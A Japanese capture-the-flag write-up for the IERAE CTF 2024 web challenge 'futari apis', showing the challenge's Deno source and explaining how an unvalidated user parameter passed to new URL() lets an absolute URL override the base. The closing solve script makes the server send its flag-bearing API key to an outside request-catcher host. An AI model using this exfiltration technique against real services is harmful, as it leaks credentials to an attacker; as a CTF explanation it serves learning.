Ierae CTF 2024 Writeup

# はじめに

Ierae CTF 2024に少しだけ参加しました。
簡単な問題を何問か解きましたが、writeupはwebに限定したいと思います。

# futari apis

HTTP APIを提供するWebサーバが与えられました。
ソースコードを見てみます。
以下はフロントエンド側のソースコードです。
```javascript
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });
```
そして以下がバックエンドのソースコードです。
```javascript
type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });
```
```http://{redacted}:3000/search?user=peroro```のように/searchパスにuserパラメータをセットしAPIを叩けます。
すると、フロントエンド側ではuserパラメータの値を受け取り、バックエンドのサーバに対してユーザ検索をするURLを生成し、送信します。
この時にAPIキーをURLに付与しますが、APIキーが今回のフラグです。
実際のURL組み立て処理は以下の通りです。
```javascript
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
```
userには特にバリデーションは施されていません。
ここで私はあることを思いつきました。
URLの第２引数にベースURLが指定されているが、userにユーザ名ではなくURLを丸ごと指定したらどうなるのだろうと。
試しにuserに```https://example.com/```を指定してみました。
すると、example.comの内容が返ってきました。
どうやら第１引数に既に完成したURLがある場合は第２引数のベースURLは無視されるようです。
URLクラスのドキュメントを見てみると、コンストラクタの第１引数の説明で同じようなことが書かれていました。
> 絶対または相対 URL を表す文字列または文字列化のあるその他のオブジェクト、例えば \<a\> や \<area\> 要素です。 url が相対 URL である場合、base は必須であり、ベース URL として使用されます。 url が絶対 URL である場合、指定された base は無視されます。
>> https://developer.mozilla.org/ja/docs/Web/API/URL/URL

これを利用し、任意のサイトにAPIキーを含んだリクエストを送信させることができます。
以下にsolveコードを示します。
これを実行するとrequestcatcherにAPIキーを含んだリクエストが来ます。
```javascript
(async () => {
    const baseUrl = "http://34.81.219.110:3000/";
    const requestcatcher = "https://sota70.requestcatcher.com/flag";
    await fetch(baseUrl + `search?user=${requestcatcher}`);
})();
```

# おわりに

他のイベントにも参加していたので、今回は少ししか大会に参加できませんでした。
挑戦できなかったWeb問題は他の方のwriteupを見ながら解きたいと思います。